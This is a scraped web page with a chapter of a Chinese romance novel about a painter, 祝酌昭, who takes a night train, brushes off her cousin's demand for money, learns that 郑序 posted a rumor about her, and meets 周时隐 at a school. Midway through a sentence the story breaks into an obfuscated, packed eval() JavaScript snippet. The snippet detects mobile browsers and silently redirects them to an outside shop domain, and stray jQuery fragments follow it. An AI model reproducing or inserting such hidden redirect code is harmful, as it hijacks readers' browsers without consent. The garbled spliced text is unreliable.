感官失调
文/梨今奈
2024.10.23霜降
我本应该恨你,但当我看见那双眼睛,我决定爱你。
-
祝酌昭是被孩子的叫喊声吵醒的。
双臂环抱在胸前,精致的眉眼间透出几分不爽。
那几个孩子一路上没消停过,这会总算喊累了,靠着座位七扭八歪地睡了。
紧绷着的神经总算能放松一会。
还没等她松口气,手机屏幕亮起,震动。
祝酌昭瞥了一眼来电显示,挂断,又响。
坐在祝酌昭身边的是个十岁左右的男孩,一路上安安静静,身上穿着不合身的棉袄,脸蛋通红。
电话反复响了几次之后,祝酌昭倒是没什么感觉,旁边小孩反倒一会看看她,一会想起身给她让地方。
祝酌昭注意到他坐立不安的模样,微微低头和他平视,目光里带着询问。
“姐姐,”那孩子看上去格外天真,“要不你去接个电话?不麻烦的。”
祝酌昭看着男孩欲言又止,大冬天的她竟然有点不合时宜地担心他中暑。
这车上人多,杂乱,又不可能通风,热得很。
拒绝的话默默咽下,决定接受男孩的好意,说了声谢谢。
她站起身,脱下红棕色风衣,里面一件紧身的羊毛衫,完美勾勒了身形。
总算没那么闷了。
“借过。”
她侧身挤过站在过道的人群,差点踩到了躺在地上睡觉的中年男人,终于来到车厢交接的位置。
车厢猛烈晃荡一下,祝酌昭没站住,整个人撞向车厢侧壁,
这次总算是清醒了。
她实在不理解这么小的车厢为什么要卖这么多的票。
打电话的人格外“锲而不舍”,见祝酌昭不接电话,改发微信。
深吸一口气,又感觉味道不大对,屏住呼吸。
下意识去掏身上的烟,才想起来外套刚刚脱掉了。
堂哥:【借我点钱。】
过了一会,又发了一条。
【五万。】
祝酌昭把电话打回去。
“舍得接我电话了,祝大画家?”
忍住没翻白眼,祝酌昭直截了当地回复:“我没钱。”
说完又往车厢里看了一眼,点点头自我肯定。
“我自己都只坐绿皮车,你开口就要五万?”
“你前几天不是刚卖了一幅画吗?差我这点?”
祝酌昭这回真想破口大骂了。
把她当银行呢?银行也没有只出不进的道理啊。
但她很快反应过来:她卖画,祝行是怎么知道的?
疑惑很快被解开。
“祝酌昭我真挺佩服你的,圈里谁敢得罪姓周的那老东西?”祝行语气竟然还有点得意,“不愧是我妹妹,果然一身正气,眼睛里揉不得沙子......”
电话那头正滔滔不绝自顾自说着,祝酌昭不想听他絮叨,直接挂断。
点开社交软件,看到了顶在上面有关艺术圈大佬周某的词条,点进去浏览。
前半部分还是正常爆料,条条列举周作的不堪行径,后半段就意有所指提到另一位小有名气的画家,虽然没提名字,但最后用心地贴上了这位小有名气地女画家刚卖出的画。
这位小有名气的女画家就是祝酌昭。
帖子写的颇有水平,足以混淆视听,就连祝酌昭本人看完都感觉自己真的在检举周作这件事上发挥了重要作用。
尽管她根本不知道这件事。
尽管她根本没接触过周作。
这是实话,她资质还不够见到这个级别的大佬。
祝酌昭不知道写这个帖子的人的目的是什么,也实在想不起最近得罪了什么人。
想的头疼干脆不想,望向车窗外。
这下她算是从小有名气变成大有名气了。
现在是凌晨两点,五个小时的车程才不到一半,祝酌昭受邀到某高中给学生们上一个月的艺术课。
地方倒是不偏僻,只是恰巧票买的晚,又要准时到,要是祝酌昭当时不快点买,恐怕连绿皮火车的硬座都买不到。
外面一片漆黑,偶尔穿过城市,会有夜晚的路灯亮着,映着就能看清外面的光景。
下雪了。
这一路上一直下,越往目的地开越大。
她突然理解那个小孩为什么要穿那么多了,凌晨的车厢算不上暖和,也许是她恰好在风口的原因,打了个寒噤。
火车徐徐向前。
祝酌昭小心穿回人群,车厢里默契地安静,小孩子们早就没力气再闹,车上的人都睡了。
好多人的车程远不止五个小时,远在外的旅人们聚在一个车厢,这是他们短暂的,共同的,休憩空间。
祝酌昭回到座位,忍着困意睁大眼睛,侧着头看自己映在车窗上的脸。
光影衬得她那张明艳的脸更冷。
她也没继续睡,车上信号又不好,硬是捱到站。
“到盛安了啊,到站了,带好随身携带物品......”
连播报站点都是列车员来喊。
好在这场长达五个小时的酷刑即将结束,祝酌昭恨不能马上下车,到酒店休息。
浑身酸痛。
外面已经泛鱼肚白了,天亮原来是一瞬间的事。
列车吱吱呀呀,叫得人心烦,终于进了站。
车门一开,扑面而来的冷风混着车里的热气,祝酌昭冷不防呛了一下,雪花直往脖颈里钻。
修长的手指虚拢住领口,拉紧风衣,低着头快步跟着人群出了站。
天生路痴,祝酌昭有自知之明,定了火车站附近没多远的酒店。
“您好,我之前有预定过......”
身份证递了过去,工作人员瞥见她那双骨节发红的手,动作也快了不少,估计是不忍心看她冻得那副惨样。
快六点了。
502.
祝酌昭拿上房卡,拖着她那堆行李就上了楼。
甚至懒得脱掉外套,带着一身凉气就扑到床上。
微信提示音响起。
整颗头窝在被褥里,伸手去摸手机。
堂哥:【别忘了给我转啊。】
把这活爹给忘了。
祝酌昭熟练把备注改成原名,黑名单一条龙。
退回主页面,习惯性清理聊天记录,看到一个人滑动的手指顿住了。
最后一条消息停在三天前。
想起车上看到的帖子,点进聊天框,飞快打出一句:“帖子是你发的?”
没指望有回音,下一秒视频通话就打了过来。
祝酌昭犹豫一下,把视频转成语音,还是接了。
“怎么了?”
“......你先问我的?”
温和慢条斯理的男声传出来,似乎还带着点笑意。
祝酌昭思迟钝的大脑转了下,还真是她先问的。
真是耐心过头了,她连睁眼睛的力气都没有,居然还能分出心思接郑序的电话。
是或者不是也没必要再打个电话解释一下吧。
祝酌昭抬起手腕,轻搭在眼上,不说话。
“咳,”
郑序轻咳一声,又问了句别的,想轻轻揭过这个话题,
“你到盛安了?”
祝酌昭还是不说话,像是已经睡了,郑序无奈苦笑刚想挂断电话,得到了一声回应。
“嗯,”
鼻音里带着懒劲,倒也不是敷衍确实是精疲力尽。
“所以是你发的吗?”
“是。”
郑序不再藏着掖着,正面回答了这个问题。
“那我欠你一个人情。”
“你我之间.....”
祝酌昭没再给他拉近关系的机会,直接挂了。
真是狠心的女人。
她这行,有名气比有实力来的要快的多,郑序这么做,无非是想让她蹭蹭周作的“热度”。
利远远大于弊,祝酌昭乐得自在,就算真没法收场了也是郑序收拾烂摊子,谁让他自找的?
原本祝酌昭对他还算有点好感。
不过在郑序那天说完那句话后,那点聊胜于无的好感也消弭了。
昏暗的灯光下,火热的肌肤相贴,祝酌昭觉得有人往她耳边吹气,痒的想躲。
“和你一起后,我总能创作出让我满意的作品,”
男人的声音暗哑,夹杂着欲念,<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135731|150084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“你呢。”
祝酌昭几乎是立刻就清醒了。
离开的时候脸上不正常的红晕还没褪完。
把灵感和X欲扯上关系,无非是给自己的荒唐行为找一个冠冕堂皇的借口。
做就做,有什么好装的?
这些“艺术家”们总喜欢给自己贴上特殊标签让自己看上去与众不同。
临门一脚,戛然而止,任谁心情都不会好。
这是祝酌昭听到过的,仅次于“大画家都是晚上创作欲爆棚”的笑话。
一到睡觉时间她连眼睛都睁不开,还有什么创作欲?
也可能是她不够大吧。
*
四个小时后。
祝酌昭顶着一头乱糟糟的头发爬起来,靠着肌肉记忆关掉闹钟。
在床上一动没动坐了五分钟,头脑渐渐清醒,反应过来自己现在在哪。
学校那边下午来接她,说不必担心找不到地方。
祝酌昭含着牙膏泡沫,给安排的人回复“好”。
洗漱过后,她坐在梳妆镜前,看着自己那张未施粉黛的脸。
斟酌过后,罕见地把头发扎成马尾,挑了一只裸色唇釉照着镜子涂好。
都不像她了。
左看右看都觉得别扭,祝酌昭拿起卸妆棉擦掉嘴上的颜色,挑了一只颜色浓烈的重新上妆。
头发自然散开披在肩头,
镜子里的人张扬自信,极抓人眼球的长相,让人看了就移不开眼。
祝酌昭满意了。
这是她。
*
受邀的不止祝酌昭一人。
她到了学校,看到圈子里几个眼熟的面孔也在时,才知道。
有人刻意跟她套近乎。
“祝老师是新秀啊,最近那幅可谓是用色极为大胆,视觉冲击到位,我可有段时间没看到这么有张力的作品了。”
有点捧杀的意思了。
祝酌昭笑容疏离冷淡,
“谬赞了。”
没什么捧回去的心情。
那人面上笑容明显迟钝一秒,不过很快进入下一个话题。
这学校也真够有闲钱的,花钱请了这么多人,就为了给学生们上几节艺术课。
这里的学生非富即贵。
这也是祝酌昭后来才知道的。
客套、寒暄、虚伪,
固定的流程一定是要走一套的,祝酌昭有些烦,站起身往外走。
校领导留意到她的动作,过来问她怎么了。
“我想走走,”
她停顿一下,
“熟悉一下环境。”
校领导给她指了环廊方向。
“祝老师可以沿着这条环廊走走,墙上都是学生们的画。”
她点点头。
高跟鞋踩在长廊上发出清脆响声,刻意放缓脚步也没缓解多少。
内容如何她不好评价,但张贴方式挺艺术的,像模像样像个小画展。
祝酌昭走马观花般浏览,不经心地往前走。
她停下脚步。
她看到了一幅格格不入的画。
普通的工笔人物,画上是个女性形象,像是描摹的什么神像。
双目半阖半开,温柔、母性、慈悲。
她的目光被吸引过去。
有种说不出的,莫名抓人魂魄的神韵。
神使鬼差上前,祝酌昭仰头把画小心取下。
这地方风吹日晒,不是它该待的地方。
还没等她收起来,她听见身后有人说话。
“喂,偷画的。”
祝酌昭转过身,下意识解释,
“我没有。”
然后她看见了站在雪后下午阳光中的周时隐。
祝酌昭自认为自己算是身材高挑的了,可是眼前人看起来比自己还要高出一头。
周时隐不紧不慢撩起眼皮,走近几步,祝酌昭下意识后退。
他迎着光走过来,模糊的脸逐渐清晰。
眼睫微垂,鼻梁高挺,眉骨漂亮地突出,一双眼黑亮,轮廓分明的脸上带着点戏谑。
周时隐浑身透着不羁的劲,微微低下头看着愣住的祝酌昭,难得好耐心。
“有这么喜欢?”